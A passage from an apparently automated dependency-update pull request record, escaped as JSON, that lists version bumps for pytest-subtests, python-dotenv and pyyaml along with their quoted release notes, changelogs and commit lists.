0.15.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a45e77d429a4d14197f23404704366550dc930a7\"\u003e\u003ccode\u003ea45e77d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/216\"\u003e#216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/e7fa393a591b5b84f2b30257f2c927f80e84acc0\"\u003e\u003ccode\u003ee7fa393\u003c/code\u003e\u003c/a\u003e Bump hynek/build-and-inspect-python-package from 2.13 to 2.14 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/215\"\u003e#215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/3b10fb3dda480d72de13235cb572312562349d4d\"\u003e\u003ccode\u003e3b10fb3\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/214\"\u003e#214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a95a2be1ae2956305aae9ae0c51075d330796eb6\"\u003e\u003ccode\u003ea95a2be\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/7a4df7daf51200cc3269fe9ae3d0921150eca27e\"\u003e\u003ccode\u003e7a4df7d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a6d84d7d54c082f66970afc358f9b3cb1be64615\"\u003e\u003ccode\u003ea6d84d7\u003c/code\u003e\u003c/a\u003e Bump actions/setup-python from 5 to 6 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/d2d5220cd285e778f3cd5041a9c075b81abd71a2\"\u003e\u003ccode\u003ed2d5220\u003c/code\u003e\u003c/a\u003e Bump pypa/gh-action-pypi-publish in /.github/workflows (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/8ab123da0d45fe6b2f67539ab5c1d5a701e85742\"\u003e\u003ccode\u003e8ab123d\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 4 to 5 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/edb553875d9c55efa20b40c178785e3a0e4c616a\"\u003e\u003ccode\u003eedb5538\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/compare/v0.14.2...v0.15.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `python-dotenv` from 1.0.0 to 1.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/theskumar/python-dotenv/releases\"\u003epython-dotenv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport reading .env from FIFOs (Unix) by \u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/586\"\u003etheskumar/python-dotenv#586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate CI to use trusted publishing on PyPI\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/586\"\u003etheskumar/python-dotenv#586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.2.0...v1.2.1\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.2.0...v1.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: upgrade to use ruff by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/567\"\u003etheskumar/python-dotenv#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse sys.exit() instead of exit() by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/568\"\u003etheskumar/python-dotenv#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat:  add \u003ccode\u003ePYTHON_DOTENV_DISABLED\u003c/code\u003e flag to disable load_dotenv (fixes \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/510\"\u003e#510\u003c/a\u003e) by \u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/569\"\u003etheskumar/python-dotenv#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded Python@3.14: Github CI \u0026amp; tox.ini by \u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/579\"\u003etheskumar/python-dotenv#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eocs: clarify what load_dotenv() does in README by \u003ca href=\"https://github.com/cybercoded\"\u003e\u003ccode\u003e@​cybercoded\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/575\"\u003etheskumar/python-dotenv#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/577\"\u003etheskumar/python-dotenv#577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMove project metadata and config to pyproject.toml by \u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/583\"\u003etheskumar/python-dotenv#583\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/569\"\u003etheskumar/python-dotenv#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/579\"\u003etheskumar/python-dotenv#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cybercoded\"\u003e\u003ccode\u003e@​cybercoded\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/575\"\u003etheskumar/python-dotenv#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/583\"\u003etheskumar/python-dotenv#583\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.1.1...v1.2.0\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.1.1...v1.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure find_dotenv work reliably on python 3.13 by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003etheskumar/python-dotenv#563\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cli): issue with execvpe on Windows by \u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003etheskumar/python-dotenv#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003etheskumar/python-dotenv#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.1.0...v1.1.1\"\u003ehttps://github.com/theskumar/python-dotenv/compare/v1.1.0...v1.1.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd a security policy by \u003ca href=\"https://github.com/bbc2\"\u003e\u003ccode\u003e@​bbc2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/512\"\u003etheskumar/python-dotenv#512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep GitHub Actions up to date with GitHub's Dependabot by \u003ca href=\"https://github.com/cclauss\"\u003e\u003ccode\u003e@​cclauss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/506\"\u003etheskumar/python-dotenv#506\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: fix multiline string in test.yml \u0026amp; use fail-fast strategy by \u003ca href=\"https://github.com/cclauss\"\u003e\u003ccode\u003e@​cclauss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/514\"\u003etheskumar/python-dotenv#514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnhance dotenv run: Switch to execvpe for better resource management and signal handling by \u003ca href=\"https://github.com/eekstunt\"\u003e\u003ccode\u003e@​eekstunt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/523\"\u003etheskumar/python-dotenv#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add py3.13 to test.yml by \u003ca href=\"https://github.com/waketzheng\"\u003e\u003ccode\u003e@​waketzheng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/527\"\u003etheskumar/python-dotenv#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd Python 3.13 trove classifier by \u003ca href=\"https://github.com/edgarrmondragon\"\u003e\u003ccode\u003e@​edgarrmondragon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/535\"\u003etheskumar/python-dotenv#535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/529\"\u003etheskumar/python-dotenv#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for python 3.13 and drop 3.8 by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/551\"\u003etheskumar/python-dotenv#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Update README.md by \u003ca href=\"https://github.com/chapeupreto\"\u003e\u003ccode\u003e@​chapeupreto\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/516\"\u003etheskumar/python-dotenv#516\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSome more s/Python-dotenv/python-dotenv/ by \u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/552\"\u003etheskumar/python-dotenv#552\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/theskumar/python-dotenv/blob/main/CHANGELOG.md\"\u003epython-dotenv's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[1.2.1] - 2025-10-26\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMove more config to \u003ccode\u003epyproject.toml\u003c/code\u003e, removed \u003ccode\u003esetup.cfg\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for reading \u003ccode\u003e.env\u003c/code\u003e from FIFOs (Unix) by [\u003ca href=\"https://github.com/sidharth-sudhir\"\u003e\u003ccode\u003e@​sidharth-sudhir\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/586\"\u003e#586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.2.0] - 2025-10-26\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade build system to use PEP 517 \u0026amp; PEP 518 to use \u003ccode\u003ebuild\u003c/code\u003e and \u003ccode\u003epyproject.toml\u003c/code\u003e by [\u003ca href=\"https://github.com/EpicWink\"\u003e\u003ccode\u003e@​EpicWink\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/583\"\u003e#583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.14 by [\u003ca href=\"https://github.com/23f3001135\"\u003e\u003ccode\u003e@​23f3001135\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003e#579\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for disabling of \u003ccode\u003eload_dotenv()\u003c/code\u003e using \u003ccode\u003ePYTHON_DOTENV_DISABLED\u003c/code\u003e env var. by [\u003ca href=\"https://github.com/matthewfranglen\"\u003e\u003ccode\u003e@​matthewfranglen\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/569\"\u003e#569\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.1.1] - 2025-06-24\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Ensure \u003ccode\u003efind_dotenv\u003c/code\u003e work reliably on python 3.13 by [\u003ca href=\"https://github.com/theskumar\"\u003e\u003ccode\u003e@​theskumar\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/563\"\u003e#563\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCLI: revert the use of execvpe on Windows by [\u003ca href=\"https://github.com/wrongontheinternet\"\u003e\u003ccode\u003e@​wrongontheinternet\u003c/code\u003e\u003c/a\u003e] in \u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/pull/566\"\u003e#566\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.1.0] - 2025-03-25\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFeature\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for python 3.13\u003c/li\u003e\n\u003cli\u003eEnhance \u003ccode\u003edotenv run\u003c/code\u003e, switch to \u003ccode\u003eexecvpe\u003c/code\u003e for better resource management and signal handling (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/523\"\u003e#523\u003c/a\u003e) by [\u003ca href=\"https://github.com/eekstunt\"\u003e\u003ccode\u003e@​eekstunt\u003c/code\u003e\u003c/a\u003e]\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFixed\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003efind_dotenv\u003c/code\u003e and \u003ccode\u003eload_dotenv\u003c/code\u003e now correctly looks up at the current directory when running in debugger or pdb (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/553\"\u003e#553\u003c/a\u003e by [\u003ca href=\"https://github.com/randomseed42\"\u003e\u003ccode\u003e@​randomseed42\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMisc\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[1.0.1] - 2024-01-23\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFixed\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eGracefully handle code which has been imported from a zipfile (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/456\"\u003e#456\u003c/a\u003e by [\u003ca href=\"https://github.com/samwyma\"\u003e\u003ccode\u003e@​samwyma\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eAllow modules using \u003ccode\u003eload_dotenv\u003c/code\u003e to be reloaded when launched in a separate thread (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/497\"\u003e#497\u003c/a\u003e by [\u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eFix file not closed after deletion, handle error in the rewrite function (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/469\"\u003e#469\u003c/a\u003e by [\u003ca href=\"https://github.com/Qwerty-133\"\u003e\u003ccode\u003e@​Qwerty-133\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMisc\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse pathlib.Path in tests (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/466\"\u003e#466\u003c/a\u003e by [\u003ca href=\"https://github.com/eumiro\"\u003e\u003ccode\u003e@​eumiro\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eFix year in release date in changelog.md (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/454\"\u003e#454\u003c/a\u003e by [\u003ca href=\"https://github.com/jankislinger\"\u003e\u003ccode\u003e@​jankislinger\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003cli\u003eUse https in README links (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/474\"\u003e#474\u003c/a\u003e by [\u003ca href=\"https://github.com/Nicals\"\u003e\u003ccode\u003e@​Nicals\u003c/code\u003e\u003c/a\u003e])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/eaf2a9129ccec6febda0f741eb3bb852c3f947bd\"\u003e\u003ccode\u003eeaf2a91\u003c/code\u003e\u003c/a\u003e Do not remove .coverage file\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/8716196891532eeb67d24a513e8d975437f5e8b7\"\u003e\u003ccode\u003e8716196\u003c/code\u003e\u003c/a\u003e Bump version: 1.2.0 → 1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/b87807fcad6e74332c3c63a75c92ce5814fa7a55\"\u003e\u003ccode\u003eb87807f\u003c/code\u003e\u003c/a\u003e Update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/3af77d3029eb717aeec0a3c25f751b6a614a6d3c\"\u003e\u003ccode\u003e3af77d3\u003c/code\u003e\u003c/a\u003e Support reading .env from FIFOs (Unix) (\u003ca href=\"https://redirect.github.com/theskumar/python-dotenv/issues/586\"\u003e#586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/467ee22fccb2fb7ccda71a0d9e37c6ea3cb8d993\"\u003e\u003ccode\u003e467ee22\u003c/code\u003e\u003c/a\u003e Fix test failures after moving config to pyproject.toml\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/76999e741d87e958ebd74e3ae9834c0514e77a59\"\u003e\u003ccode\u003e76999e7\u003c/code\u003e\u003c/a\u003e Move more config pyproject.toml\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/222ce2cc58ebc82ba78da8781269267b9f585932\"\u003e\u003ccode\u003e222ce2c\u003c/code\u003e\u003c/a\u003e Update to use trusted publisher on pypi\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/8ed4f79d202eba582b44bdf1f5deb726dd68783d\"\u003e\u003ccode\u003e8ed4f79\u003c/code\u003e\u003c/a\u003e Update docs requirements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/5bf882241c607445bf02cf5b241535d62e2b99c1\"\u003e\u003ccode\u003e5bf8822\u003c/code\u003e\u003c/a\u003e Bump version: 1.1.1 → 1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theskumar/python-dotenv/commit/1fe11cc737ee4399e9c51d1b69b0dd858f6b4669\"\u003e\u003ccode\u003e1fe11cc\u003c/code\u003e\u003c/a\u003e upadate changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/theskumar/python-dotenv/compare/v1.0.0...v1.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pyyaml` from 6.0.1 to 6.0.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/yaml/pyyaml/releases\"\u003epyyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Python 3.14 and free-threading (experimental).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/yaml/pyyaml/compare/6.0.2...6.0.3\"\u003ehttps://github.com/yaml/pyyaml/compare/6.0.2...6.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Cython 3.x and Python 3.13.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/yaml/pyyaml/compare/6.0.1...6.0.2\"\u003ehttps://github.com/yaml/pyyaml/compare/6.0.1...6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e6.0.2rc1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for extension build with Cython 3.x\u003c/li\u003e\n\u003cli\u003eSupport for Python 3.13\u003c/li\u003e\n\u003cli\u003eAdded PyPI wheels for musllinux on aarch64\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/yaml/pyyaml/blob/6.0.3/CHANGES\"\u003epyyaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e6.0.3 (2025-09-25)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/yaml/pyyaml/pull/864\"\u003eyaml/pyyaml#864\u003c/a\u003e -- Support for Python 3.14 and free-threading (experimental)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e6.0.2 (2024-08-06)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/yaml/pyyaml/pull/808\"\u003eyaml/pyyaml#808\u003c/a\u003e -- Support for Cython 3.x and Python 3.13\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/49790e73684bebad1df05ef8d828fa12f685bffb\"\u003e\u003ccode\u003e49790e7\u003c/code\u003e\u003c/a\u003e Release 6.0.3 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/889\"\u003e#889\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/41309b0bcb4559edb1d691d47199035ef539d785\"\u003e\u003ccode\u003e41309b0\u003c/code\u003e\u003c/a\u003e Release 6.0.2 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/819\"\u003e#819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/dd9f0e1236775dcce682c91823e009556ce2a271\"\u003e\u003ccode\u003edd9f0e1\u003c/code\u003e\u003c/a\u003e 6.0.2rc1 (\u003ca href=\"https://redirect.github.com/yaml/pyyaml/issues/809\"\u003e#809\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/f5527a26d518b3e9c66f9211e0af00c83f09a97e\"\u003e\u003ccode\u003ef5527a2\u003c/code\u003e\u003c/a\u003e disable CI trigger on PR edits\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yaml/pyyaml/commit/b4d8...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/146","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/146","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/146/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-09-26T01:08:27.000Z","version_change":"0.2.90 → 